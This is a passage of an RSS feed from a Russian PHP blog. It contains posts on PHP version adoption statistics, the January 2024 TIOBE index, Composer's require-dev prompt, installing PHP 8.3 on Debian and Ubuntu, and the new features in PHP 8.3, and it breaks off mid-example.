                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline"><strong>Статистика версий PHP - выпуск 2024.1</strong></h1><p>Ежегодный пост со статистикой версии PHP из открытых данных <a target="_blank" rel="noopener noreferrer nofollow" href="https://packagist.org/php-statistics">экосистемы composer</a>. Это означает, что эти диаграммы не являются на 100% точным представлением сообщества PHP в целом, но они являются точным представлением одной пакетов composer PHP.</p><p><br>Здесь можно посмотреть <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20232">предыдущую версию отчета</a>.</p><h2>Статистика использования</h2><p>Давайте начнем с процента версий PHP, используемых сегодня, и сравним его с предыдущими тремя редакциями. Обратите внимание, что я опустил все версии, использование которых не превышает 1%:</p><table style="minWidth: 125px"><colgroup><col><col><col><col><col></colgroup><tbody><tr><th colspan="1" rowspan="1"><p><strong>Версия</strong></p></th><th colspan="1" rowspan="1"><p><strong>июль 2022</strong></p></th><th colspan="1" rowspan="1"><p><strong>январь 2023</strong></p></th><th colspan="1" rowspan="1"><p><strong>июль 2023</strong></p></th><th colspan="1" rowspan="1"><p><strong>январь 2024</strong></p></th></tr><tr><td colspan="1" rowspan="1"><p>7.1</p></td><td colspan="1" rowspan="1"><p>1,9%</p></td><td colspan="1" rowspan="1"><p>1,8%</p></td><td colspan="1" rowspan="1"><p>1,3%</p></td><td colspan="1" rowspan="1"><p>1,0%</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.2</p></td><td colspan="1" rowspan="1"><p>5,1%</p></td><td colspan="1" rowspan="1"><p>4,3%</p></td><td colspan="1" rowspan="1"><p>4,3%</p></td><td colspan="1" rowspan="1"><p>2,5%</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.3</p></td><td colspan="1" rowspan="1"><p>8,0%</p></td><td colspan="1" rowspan="1"><p>5,3%</p></td><td colspan="1" rowspan="1"><p>4,2%</p></td><td colspan="1" rowspan="1"><p>3,2%</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.4</p></td><td colspan="1" rowspan="1"><p>38,4%</p></td><td colspan="1" rowspan="1"><p>27,7%</p></td><td colspan="1" rowspan="1"><p>19,9%</p></td><td colspan="1" rowspan="1"><p>13,6%</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.0</p></td><td colspan="1" rowspan="1"><p>20,6%</p></td><td colspan="1" rowspan="1"><p>16,2%</p></td><td colspan="1" rowspan="1"><p>12,3%</p></td><td colspan="1" rowspan="1"><p>7,2%</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.1</p></td><td colspan="1" rowspan="1"><p>24,5%</p></td><td colspan="1" rowspan="1"><p>38,8%</p></td><td colspan="1" rowspan="1"><p>39,3%</p></td><td colspan="1" rowspan="1"><p>35,2%</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.2</p></td><td colspan="1" rowspan="1"><p>0,0%</p></td><td colspan="1" rowspan="1"><p>4,7%</p></td><td colspan="1" rowspan="1"><p>17,2%</p></td><td colspan="1" rowspan="1"><p>29,4%</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.3</p></td><td colspan="1" rowspan="1"><p>0,0%</p></td><td colspan="1" rowspan="1"><p>0,0%</p></td><td colspan="1" rowspan="1"><p>0,2%</p></td><td colspan="1" rowspan="1"><p>6,4%</p></td></tr></tbody></table><p>Визуализация этих данных выглядит следующим образом:</p><img src="/files/blog/2024/statistika-versii-php-vypusk-20241-ZHNbPO.svg"><p>Похоже, что внедрение PHP 8.3 происходит немного быстрее по сравнению с PHP 8.2: 6,4% проектов используют PHP 8.3 в течение первых двух месяцев после его выпуска, для PHP 8.2 этот показатель в свое время составил 4,7%.</p><p>Более того, доля PHP 7.* продолжает сокращаться - и это хорошо, учитывая, что поддержка серии 7.* закончилась более года назад. На данный момент PHP 8.1 является самой старой поддерживаемой версией, обновления безопасности которой будут получать только до 25 ноября этого года. Это важно обновить ваши версии PHP!</p><p>Переходя к обзорной диаграмме за все время, здесь вы можете увидеть эволюцию использования версий с течением времени:</p><img src="/files/blog/2024/statistika-versii-php-vypusk-20241-MIHZLX.svg"><h2>Требуемые версии</h2><p>Если использовать <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/nikic/popular-package-analysis">анализатор популярных пакетов Никиты Попова</a>, чтобы загрузить 1000 самых популярных пакетов composer и сканировать их, чтобы определить их минимально необходимую версию, то получим результаты:</p><table style="minWidth: 125px"><colgroup><col><col><col><col><col></colgroup><tbody><tr><th colspan="1" rowspan="1"><p><strong>Версия</strong></p></th><th colspan="1" rowspan="1"><p><strong>июль 2022</strong></p></th><th colspan="1" rowspan="1"><p><strong>январь 2023</strong></p></th><th colspan="1" rowspan="1"><p><strong>июль 2023</strong></p></th><th colspan="1" rowspan="1"><p><strong>январь 2024</strong></p></th></tr><tr><td colspan="1" rowspan="1"><p>5.2</p></td><td colspan="1" rowspan="1"><p>10</p></td><td colspan="1" rowspan="1"><p>10</p></td><td colspan="1" rowspan="1"><p>7</p></td><td colspan="1" rowspan="1"><p>7</p></td></tr><tr><td colspan="1" rowspan="1"><p>5.3</p></td><td colspan="1" rowspan="1"><p>77</p></td><td colspan="1" rowspan="1"><p>78</p></td><td colspan="1" rowspan="1"><p>65</p></td><td colspan="1" rowspan="1"><p>58</p></td></tr><tr><td colspan="1" rowspan="1"><p>5.4</p></td><td colspan="1" rowspan="1"><p>40</p></td><td colspan="1" rowspan="1"><p>40</p></td><td colspan="1" rowspan="1"><p>31</p></td><td colspan="1" rowspan="1"><p>28</p></td></tr><tr><td colspan="1" rowspan="1"><p>5,5</p></td><td colspan="1" rowspan="1"><p>35</p></td><td colspan="1" rowspan="1"><p>37</p></td><td colspan="1" rowspan="1"><p>21</p></td><td colspan="1" rowspan="1"><p>16</p></td></tr><tr><td colspan="1" rowspan="1"><p>5,6</p></td><td colspan="1" rowspan="1"><p>42</p></td><td colspan="1" rowspan="1"><p>43</p></td><td colspan="1" rowspan="1"><p>32</p></td><td colspan="1" rowspan="1"><p>30</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.0</p></td><td colspan="1" rowspan="1"><p>29</p></td><td colspan="1" rowspan="1"><p>30</p></td><td colspan="1" rowspan="1"><p>24</p></td><td colspan="1" rowspan="1"><p>24</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.1</p></td><td colspan="1" rowspan="1"><p>153</p></td><td colspan="1" rowspan="1"><p>159</p></td><td colspan="1" rowspan="1"><p>125</p></td><td colspan="1" rowspan="1"><p>100</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.2</p></td><td colspan="1" rowspan="1"><p>130</p></td><td colspan="1" rowspan="1"><p>144</p></td><td colspan="1" rowspan="1"><p>133</p></td><td colspan="1" rowspan="1"><p>123</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.3</p></td><td colspan="1" rowspan="1"><p>104</p></td><td colspan="1" rowspan="1"><p>106</p></td><td colspan="1" rowspan="1"><p>56</p></td><td colspan="1" rowspan="1"><p>49</p></td></tr><tr><td colspan="1" rowspan="1"><p>7.4</p></td><td colspan="1" rowspan="1"><p>86</p></td><td colspan="1" rowspan="1"><p>98</p></td><td colspan="1" rowspan="1"><p>97</p></td><td colspan="1" rowspan="1"><p>87</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.0</p></td><td colspan="1" rowspan="1"><p>94</p></td><td colspan="1" rowspan="1"><p>103</p></td><td colspan="1" rowspan="1"><p>144</p></td><td colspan="1" rowspan="1"><p>126</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.1</p></td><td colspan="1" rowspan="1"><p>125</p></td><td colspan="1" rowspan="1"><p>129</p></td><td colspan="1" rowspan="1"><p>107</p></td><td colspan="1" rowspan="1"><p>154</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.2</p></td><td colspan="1" rowspan="1"><p>-</p></td><td colspan="1" rowspan="1"><p>-</p></td><td colspan="1" rowspan="1"><p>94</p></td><td colspan="1" rowspan="1"><p>135</p></td></tr><tr><td colspan="1" rowspan="1"><p>8.3</p></td><td colspan="1" rowspan="1"><p>-</p></td><td colspan="1" rowspan="1"><p>-</p></td><td colspan="1" rowspan="1"><p>-</p></td><td colspan="1" rowspan="1"><p>0</p></td></tr></tbody></table><p><br>Здесь следует сделать два важных замечания.</p><ol><li><p>В этой таблице показана <strong>минимальная необходимая версия</strong> . Это означает, что пакеты минимальной версии, например 8.0, также могут поддерживать PHP 8.1, PHP 8.2 и PHP 8.3.</p></li><li><p>Если вы посчитаете цифры, вы заметите, что между каждым годом есть некоторые различия. Не в каждом пакете указана действительная строка версии.</p></li></ol><p>Вместо сравнения абсолютных чисел лучше всего представить эти данные в виде диаграммы для относительного сравнения, чтобы мы могли видеть изменения с течением времени:</p><img src="/files/blog/2024/statistika-versii-php-vypusk-20241-dDP8sx.svg"><h2>Предыдущие выпуски</h2><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20232">Статистика версий PHP - июль 2023</a></p><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20231">Статистика версий PHP - январь 2023</a></p><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-2022-2">Статистика версий PHP - июль 2022</a></p><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-2022-1">Статистика версий PHP - январь 2022</a></p><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20211">Статистика версий PHP - январь 2021</a></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/119</guid>
                <pubDate>2024-01-31T09:44:17+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Индекс TIOBE за январь 2024]]></title>
                <link>https://sergeymukhin.com/blog/indeks-tiobe-za-ianvar-2024</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Индекс TIOBE за январь 2024</h1><p>Интересные события произошли в рейтинге TIOBE.</p><p>Впервые в истории индекса TIOBE <strong>C#</strong> получил награду «Язык программирования года». На втором месте <strong>Scratch</strong> (+0,83%) и <strong>Fortran</strong> (+0,64%). <strong>C#</strong> отнимает долю рынка у <strong>Java</strong> и становится все более популярным в таких областях, как серверная часть веб-приложений и игры (спасибо <strong>Unity</strong>). <strong>C#</strong> можно использовать бесплатно, и он постоянно развивается, делая язык более выразительным с каждой новой версией. <strong>C#</strong> никуда не денется и, возможно, вскоре он сможет даже превзойдет <strong>Java</strong>.</p><p>Помимо <strong>C#</strong>, в прошлом году в индексе TIOBE произошло много интересных изменений. <strong>Fortran</strong> и <strong>Kotlin</strong> навсегда вошли в топ-20 игроков, заменив старых фаворитов <strong>R</strong> и <strong>Perl</strong>. Фортран очень хорошо подходит для вычислений с помощью хороших библиотек и остается фаворитом университетов во многих областях. <strong>Kotlin</strong> — простой в изучении/написании конкурент <strong>Java</strong>.</p><p>Что интересно <strong>Julia</strong> ненадолго коснулась индекса TIOBE в 2023 году, но не смогла удержать эту позицию.</p><p><strong>JavaScript </strong>поднялся на 6 место, а <strong>PHP</strong> на 7-ое.</p><img src="/files/blog/2024/indeks-tiobe-za-ianvar-2024-hrDGyr.png"><p><br>Так же можно посмотреть динамику изменения индекса PHP с годами:</p><img src="/files/blog/2024/indeks-tiobe-za-ianvar-2024-OXu7BE.png"><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/118</guid>
                <pubDate>2024-01-26T12:00:32+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Composer: Заставить установку пакета как require-dev]]></title>
                <link>https://sergeymukhin.com/blog/composer-zastavit-ustanovku-paketa-require-dev</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline"><a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/composer-zastavit-ustanovku-paketa-require-dev"><strong>Composer: Заставить установку пакета как require-dev</strong></a></h1><p>Когда вышел <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/chto-novogo-v-composer-24">Composer 2.4</a>, там была добавлена одна интересная ​​функция, при которой команда composer require предлагает установить пакет с --dev флагом, если устанавливаемый пакет предназначен для использования в качестве инструмента разработчика.</p><p>При передаче флага --dev пакет устанавливается в раздел require-dev composer.json файла, а другие команды Composer (такие как composer update, install, dump-autoload и т. д.) могут при необходимости пропускать зависимости require-dev.</p><img src="/files/blog/2023/composer-zastavit-ustanovku-paketa-require-dev-zokfsM.png"><p><em>При попытке установить PHPUnit Composer автоматически предлагает установить его с флагом --dev.</em></p><p>Как это работает, Composer проверяет раздел keywords в файле composer.json и, если он содержит ключевые слова dev, testing, или static analysis, то Composer предлагает пользователю установить его с флагом --dev, если он не был передан.</p><p>В предложении указывается причина, по которой пакет был определен как зависимость от разработчика:</p><pre class="language-powershell"><code class="language-powershell">The package you required is recommended to be placed in require-dev (because it is tagged as "testing") but you did not use --dev.</code></pre><p></p><p>Но стоит заметить, что данная функция не будет работать, если Composer запускается в неинтерактивной среде (например, при сборке CI или при передаче флага --no-interaction).</p><h2>Как сделать флаг приглашения --dev Composer в ваших пакетах</h2><p>Если вы публикуете пакет разработчика (например, инструменты тестирования, инструменты фиксации данных, инструменты отладки и т. д.), вы можете использовать эту функцию, чтобы Composer в интерактивном режиме предлагал пользователю установить их в разделе require-dev на случай, если пользователь забудет использовать флаг --dev.</p><p>Для этого добавьте одно из следующих ключевых слов в раздел keywords файла composer.json:</p><ul><li><p><strong>dev</strong></p></li><li><p><strong>testing</strong></p></li><li><p><strong>static analysis</strong></p></li></ul><p>для примера:</p><pre class="language-json"><code class="language-json">"name": "name/your-dev-package",
"keywords": ["dev"],
"type": "library",</code></pre><p></p><p>Ключевое слово должно присутствовать только в ветке по умолчанию, а не обязательно во всех ветках и тегах.</p><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/117</guid>
                <pubDate>2023-12-25T08:31:35+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как установить/обновить PHP 8.3 в Ubuntu или Debian]]></title>
                <link>https://sergeymukhin.com/blog/kak-ustanovitobnovit-php-83-v-ubuntu-ili-debian</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Как установить/обновить PHP 8.3 в Ubuntu или Debian</h1><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/chto-novogo-v-php-83">PHP 8.3</a> - это главное обновление PHP 2023 года. Он содержит новые интересные функции, такие как типизированные константы в классах, новый тип исключений в DateTime, новая функция json_validate, а также несколько других изменений. Как обычно, в новом релизе PHP содержит несколько исправлений ошибок и улучшений, а также повышение производительности.</p><p>В этой статье объясняется, как установить PHP 8.3 в современных системах Linux - Debian и Ubuntu. Аналогичным способом также можно установить некоторые из наиболее популярных расширений PECL.</p><h2>Быстрый старт для администраторов</h2><p>Если вы опытный разработчик/девопс и вам достаточно вспомнить последовательность команд для установки.</p><h2>Debian (10, 11, 12)</h2><pre class="language-"><code class="language-"># Можете сохранить существующий список пакетов PHP в файл packages.txt.
sudo dpkg -l | grep php | tee packages.txt

# Добавьте источник репозитория Ondrej и ключ подписи вместе с зависимостями.
sudo apt install apt-transport-https

sudo curl -sSLo /usr/share/keyrings/deb.sury.org-php.gpg https://packages.sury.org/php/apt.gpg
sudo sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" &gt; /etc/apt/sources.list.d/php.list'

sudo apt update

# Установите новые пакеты PHP 8.3
sudo apt install php8.3 php8.3-cli php8.3-{bz2,curl,mbstring,intl}

# Установите FPM для Nginx
sudo apt install php8.3-fpm

# или Apache модуль
# sudo apt install libapache2-mod-php8.3
# Тут же для Apache включите PHP 8.3 FPM
sudo a2enconf php8.3-fpm

# Выключить предыдущие версии:
sudo a2disconf php8.2-fpm

# Удалите старые пакеты если надо
sudo apt purge php8.2*</code></pre><h2>Ubuntu (20.04, 22.04, 24.04)</h2><pre class="language-"><code class="language-"># Сохранить существующий список пакетов PHP в файл packages.txt.
sudo dpkg -l | grep php | tee packages.txt

# Репозиторий Ondrej PPA
sudo add-apt-repository ppa:ondrej/php # Нажмите Enter

sudo apt update

# Установка PHP 8.3 и расширений
sudo apt install php8.3 php8.3-cli php8.3-{bz2,curl,mbstring,intl}

# Установка FPM
sudo apt install php8.3-fpm

# или Apache модуль
sudo apt install libapache2-mod-php8.3
# Для Apache включить PHP 8.3 FPM
sudo a2enconf php8.3-fpm
# выключаем предыдущие версии Apache:
sudo a2disconf php8.2-fpm

# удаляем старую версию если надо
sudo apt purge php8.2*</code></pre><p></p><h2>Подробное руководство по установке/обновлению PHP 8.3</h2><p>Ни одна из текущих версий Debian и Ubuntu не включает PHP 8.3 в репозитории программного обеспечения по умолчанию. Готовые пакеты PHP доступны из репозитория, поддерживаемого <a target="_blank" rel="noopener noreferrer nofollow" href="https://launchpad.net/~ondrej">Ondřej Surý</a>, который и используется в этой статье. Пакеты в этом репозитории имеют ту же конфигурацию, имена пакетов и конфигурацию systemd, что и пакеты PHP, предоставляемые репозиториями программного обеспечения ОС.</p><p>В этой статье основное внимание уделяется Ubuntu 22.04 (Jammy), Ubuntu 20.04 (Focal), Ubuntu 24.04 (Noble), Debian 10 (Buster), Debian 11 (Bulseye) и Debian 12 (Bookworm), как последним актуальным версиям.</p><h2>Перечислить и записать существующие пакеты PHP</h2><p>При обновлении существующей версии PHP следующая команда перечисляет все установленные пакеты со словом php в имени пакета и сохраняет их в файл packages.txt, а также выводит их в терминале.</p><p>Это будет полезно для установки соответствующих пакетов PHP 8.3 на следующих шагах.</p><p>Этот шаг не обязателен при установке PHP в новой системе.</p><pre class="language-"><code class="language-">dpkg -l | grep php | tee packages.txt</code></pre><h2></h2><h2>Добавить репозиторий ondrej/php</h2><p>Следующие команды добавляют репозиторий в список репозиториев программного обеспечения и запускается apt update для получения списка пакетов, доступных из нового репозитория, а также из существующих репозиториев.</p><p><strong>Debian</strong></p><pre class="language-"><code class="language-">sudo apt install apt-transport-https
sudo curl -sSLo /usr/share/keyrings/deb.sury.org-php.gpg https://packages.sury.org/php/apt.gpg
sudo sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" &gt; /etc/apt/sources.list.d/php.list'
sudo apt update</code></pre><p></p><p><strong>Ubuntu</strong></p><pre class="language-"><code class="language-">sudo add-apt-repository ppa:ondrej/php # Нажмите Enter
sudo apt update</code></pre><p></p><h2>Установить расширения PHP 8.3</h2><p>После добавления репозитория PHP Ондрея, расширения PHP теперь можно устанавливать с помощью apt. Все пакеты PHP 8.3 следуют ставить по шаблону php8.3-name_ext. Эти имена совпадают и переопределяют версии PHP, предоставленные собственными репозиториями ОС.</p><pre class="language-"><code class="language-">sudo apt install php8.3-common php8.3-cli php8.3-fpm php8.3-{curl,bz2,mbstring,intl}</code></pre><p>Расширение php8.3-common представляет собой метапакет, который устанавливает несколько расширений PHP. Позже можно выборочно отключить отдельные расширения. Нет необходимости и возможности устанавливать их как отдельные пакеты.</p><h2>Дополнительные расширения PHP</h2><p>В репозитории также доступно несколько расширений PECL, которые можно легко установить без необходимости компилировать. Сюда входят некоторые наиболее популярные расширения PECL, такие как Image Magick, APCu, Xdebug и Redis.</p><h2>Интеграция с веб-сервером</h2><p>В большинстве случаев PHP интегрирован с веб-сервером. Интеграция с PHP-FPM по протоколу Fast CGI является наиболее распространенным подходом, хотя также возможна интеграция PHP с другими SAPI.</p><h3>Nginx, Caddy , Litespeed и другие серверы через Fast CGI</h3><p>После установки PHP-FPM - php8.3-fpm systemd регистрирует службу для PHP 8.3 FPM по адресу сокета /run/php/php8.3-fpm.sock.</p><h3>Apache</h3><pre class="language-"><code class="language-">sudo a2enconf php8.3-fpm
sudo a2disconf php8.2-fpm # When upgrading from an older PHP version
sudo systemctl restart apache2</code></pre><p>Если Apache настроен для запуска PHP в качестве модуля Apache (обычно называемого mod_php или mod_php8), установите libapache2-mod-php8.3 пакет вместо php8.3-fpm:</p><pre class="language-"><code class="language-">sudo apt install libapache2-mod-php8.3
sudo a2enmod php8.3

# Выключить предыдущую версию и перезагрузить Apache
sudo a2dismod php8.2 
sudo systemctl restart apache2</code></pre><p></p><h2>Тест/проверка установки PHP 8.3</h2><p>После установки всех пакетов наступает момент истины, чтобы проверить, прошла ли новая установка успешно:</p><pre class="language-"><code class="language-">php -v</code></pre><pre class="language-powershell"><code class="language-powershell">PHP 8.3.0 (cli) (built: Nov 23 2023 08:49:45) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.3.0, Copyright (c) Zend Technologies
    with Zend OPcache v8.3.0, Copyright (c), by Zend Technologies
</code></pre><h2>Удалить старые версии PHP</h2><p>Чтобы удалить старые версии PHP, запустите apt purge с префиксом версии PHP. Например, следующие команды удаляют пакеты и конфигурацию PHP 8.2:</p><pre class="language-"><code class="language-">sudo apt purge php8.2*</code></pre><p></p><h2>Запуск PHP 8.3 вместе с другими версиями PHP</h2><p>PHP 8.3 можно установить и использовать вместе с другими версиями PHP. Именно это и происходит при установке PHP 8.3 без предварительного удаления старых пакетов PHP.</p><pre class="language-"><code class="language-">sudo update-alternatives --config php</code></pre><p></p><p>По умолчанию <code>php </code>будет связано с последней версией PHP, но его можно изменить. Используйте команду <code>update-alternatives</code>. При этом появится приглашение интерактивно выбрать альтернативный путь PHP.</p><pre class="language-"><code class="language-">  Выбор   Путь         Приор Состояние
------------------------------------------------------------
* 0            /usr/bin/php8.3   83        автоматический режим
  1            /usr/bin/php8.2   82        ручной режим
  2            /usr/bin/php8.1   81        ручной режим
Нажмите «enter», чтобы не менять текущий выбор[*], или введите нужное число: </code></pre><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/116</guid>
                <pubDate>2023-11-23T22:01:28+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в PHP 8.3]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-php-83</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в PHP 8.3</h1><blockquote>PHP 8.3 был выпущен 23 ноября 2023 года. В нем есть улучшения классов только для чтения, новая функция json_validate(), дополнения к недавно добавленному классу Randomizer, обнаружение переполнения стека и многое другое.</blockquote><h2>Поправки для только для чтения <a href="https://wiki.php.net/rfc/readonly_amendments" target="_blank">rfc</a><br></h2><p>В этом RFC было предложено два изменения, но было принято только одно: возможность повторной инициализации свойств только для чтения во время клонирования. Правда этот RFC касается только конкретного (но важного) случая: перезапись значений свойств внутри __clone(), чтобы разрешить глубокое клонирование свойств только для чтения:</p><pre class="line-numbers"><code class="language-php">readonly class Post
{
    public function __construct(
        public DateTime $createdAt,
    ) {}
    
    public function __clone()
    {
        $this-&gt;createdAt = new DateTime(); 
        // здесь это разрешено,
        // даже не смотря на то что свойство `createdAt` только для чтения.
    }
}</code></pre><p>&nbsp;</p><h2>Типизированные константы класса <a href="https://wiki.php.net/rfc/typed_class_constants" target="_blank">rfc</a></h2><p>Типизированные константы класса могут быть объявлены в классах, интерфейсах, трейтах и ​​перечислениях, вы можете указать типы констант класса так:</p><pre class="line-numbers"><code class="language-php">class Foo
{
    public const string A = 'a';
    public const int B = 1;
    public const float C = 1.1;
    public const bool D = true;
    public const array E = ['a', 'b']; 
} </code></pre><p>Типы констант класса поддерживают все объявления типов PHP, кроме void, callable и never.&nbsp;<span style="font-family: var(--bff); letter-spacing: 0px;">Константы класса являются ковариантными, что означает, что их типы не могут расширяться во время наследования.</span></p><h2>Атрибут #[Override] <a href="https://wiki.php.net/rfc/marking_overriden_methods" target="_blank">rfc</a></h2><p><a href="https://sergeymukhin.com/blog/php-83-atribut-override" target="_blank">Новый атрибут&nbsp;</a><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff); font-weight: bold;"><a href="https://sergeymukhin.com/blog/php-83-atribut-override" target="_blank">#[Override]</a></span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;используется, чтобы показать намерение программиста: "Я знаю, что этот метод переопределяет родительский метод. Если это когда-либо изменится, сообщите мне".</span></p><p><span style="font-family: var(--bff); letter-spacing: 0px;">Вот пример:</span></p><pre class="line-numbers"><code class="language-php">abstract class Parent
{
    public function methodWithDefaultImplementation(): int
    {
        return 1;
    }
}

final class Child extends Parent
{
    #[Override]
    public function methodWithDefaultImplementation(): void
    {
        return 2; // The overridden method
    }
} </code></pre><p>Теперь давайте представим, что в какой-то момент родительский метод меняет имя своего метода:&nbsp;</p><pre class="line-numbers"><code class="language-php">abstract class Parent
{
    public function methodWithNewImplementation(): int
    {
        return 1;
    }
}</code></pre><p>Благодаря этому атрибуту&nbsp;<span style="font-weight: bold;">#[Override]</span> PHP сможет определить, что он больше ничего не переопределяет, и выдаст ошибку.&nbsp; &nbsp;</p><h2>Отрицательные индексы в массивах <a href="https://github.com/php/php-src/blob/master/UPGRADING#L19" target="_blank">нарушение</a></h2><p>Если у вас есть пустой массив, и вы добавите элемент с отрицательным индексом, а затем добавите еще один элемент, этот второй элемент всегда будет начинаться с индекса 0:</p><pre class="line-numbers"><code class="language-php">$array = [];

$array[-5] = 'a';
$array[] = 'b';

var_export($array);

//array (
//  -5 =&gt; 'a',
//  0 =&gt; 'b',
//)</code></pre><p>Начиная с PHP 8.3, следующий элемент будет добавлен в index <span style="font-weight: bold;">-4</span>:</p><pre class="line-numbers"><code class="language-php">//array (
//  -5 =&gt; 'a',
//  -4 =&gt; 'b',
//)</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span></p><h2>Анонимные классы только для чтения <a href="https://github.com/php/php-src/blob/master/UPGRADING#L48" target="_blank">upd</a></h2><p>Ранее нельзя было пометить анонимные классы как доступные только для чтения. Это исправлено в PHP 8.3:</p><pre class="line-numbers"><code class="language-php">$class = new readonly class {
    public function __construct(
        public string $foo = 'bar',
    ) {}
};</code></pre><p><br></p><p></p><h2>Новая функция json_validate <a href="https://wiki.php.net/rfc/json_validate" target="_blank">rfc</a></h2><p></p><p>В PHP 8.3 добавлена ​​новая функция json_validate(), которая возвращает true или false в том случае, если заданная строка&nbsp;<span style="font-size: 1rem;">является </span>допустимой строкой JSON.&nbsp;До PHP 8.3 единственным способом определить, является ли заданная строка допустимой строкой JSON, была попытка ее декодирования и проверка наличия каких-либо ошибок. Новая&nbsp;<span style="font-size: 1rem;">функция&nbsp;</span>json_validate() использует тот же базовый синтаксический анализатор JSON, что и PHP, но потребует меньше памяти:</p><p><br></p><pre class="line-numbers"><code class="language-php">json_validate('[1, 2, 3]'); //true
json_validate('{1, 2, 3]'); //false</code></pre><p><br></p><h2>Динамический доступ к  константам класса и Enum <a href="https://wiki.php.net/rfc/dynamic_class_constant_fetch" target="_blank">rfc</a></h2><p>До PHP 8.3&nbsp;<span style="font-size: 1rem;">синтаксис доступа к константам класса типа </span><b>ClassName::{$varName}</b>&nbsp; был запрещен и приводил к синтаксической ошибке:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Parse error: syntax error, unexpected token ";", expecting "(" in ... on line ...</code></pre><p>То же ограничение применялось и к Enum, где было невозможно получить элемент Enum динамически:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Parse error: syntax error, unexpected token "-&gt;", expecting "(" in ``` on line ```</code></pre><p>Теперь&nbsp;PHP 8.3 и более поздние версии поддерживают <a href="https://sergeymukhin.com/blog/php-83-dinamiceskoe-poluchenie-konstant-klassa-i-enum" target="_blank">динамическое получение констант класса и объектов Enum</a> с именем переменной:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass {
    public const MY_CONST = 42;
}

$constName = 'MY_CONST';

echo MyClass::{$constName};</code></pre><h2>Функция gc_status() возвращает дополнительную информацию GC <a href="https://github.com/php/php-src/pull/9336" target="_blank">rfc</a></h2><p>Функция gc_status() возвращает статистику сборщика мусора PHP и&nbsp;имеет четыре новых поля: running, protected, full и buffer_size: работает ли сборщик мусора, защищен ли сборщик мусора и размер буфера. Эта информация может быть полезна при отладке долго работающих PHP-приложений для обнаружения и оптимизации использования памяти.</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump(gc_status());</code></pre><h2>Новый метод&nbsp;\Random\Randomizer::getBytesFromString <a href="https://wiki.php.net/rfc/randomizer_additions" target="_blank">rfc</a></h2><p>Класс <b>\Random\Randomizer</b> в PHP 8.3 поддерживает новый&nbsp;<span style="font-size: 1rem;">метод</span>&nbsp;<b>getBytesFromString</b>, который возвращает последовательность случайных чисел запрошенной длины (<span style="font-size: 1rem;">параметр&nbsp;</span>$length), содержащую только байты из запрошенной последовательности байтов (<span style="font-size: 1rem;">параметр</span>&nbsp;$string).</p><p><br></p><pre class="line-numbers"><code class="language-php">namespace Random;  

class Randomizer {  
  // ...  
   public function getBytesFromString(string $string, int $length): string { }
 }</code></pre><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">$rng = new Random\Randomizer();
$crockfordAlphabet = '0123456789ABCDEFGHJKMNPQRSTVWXYZ';

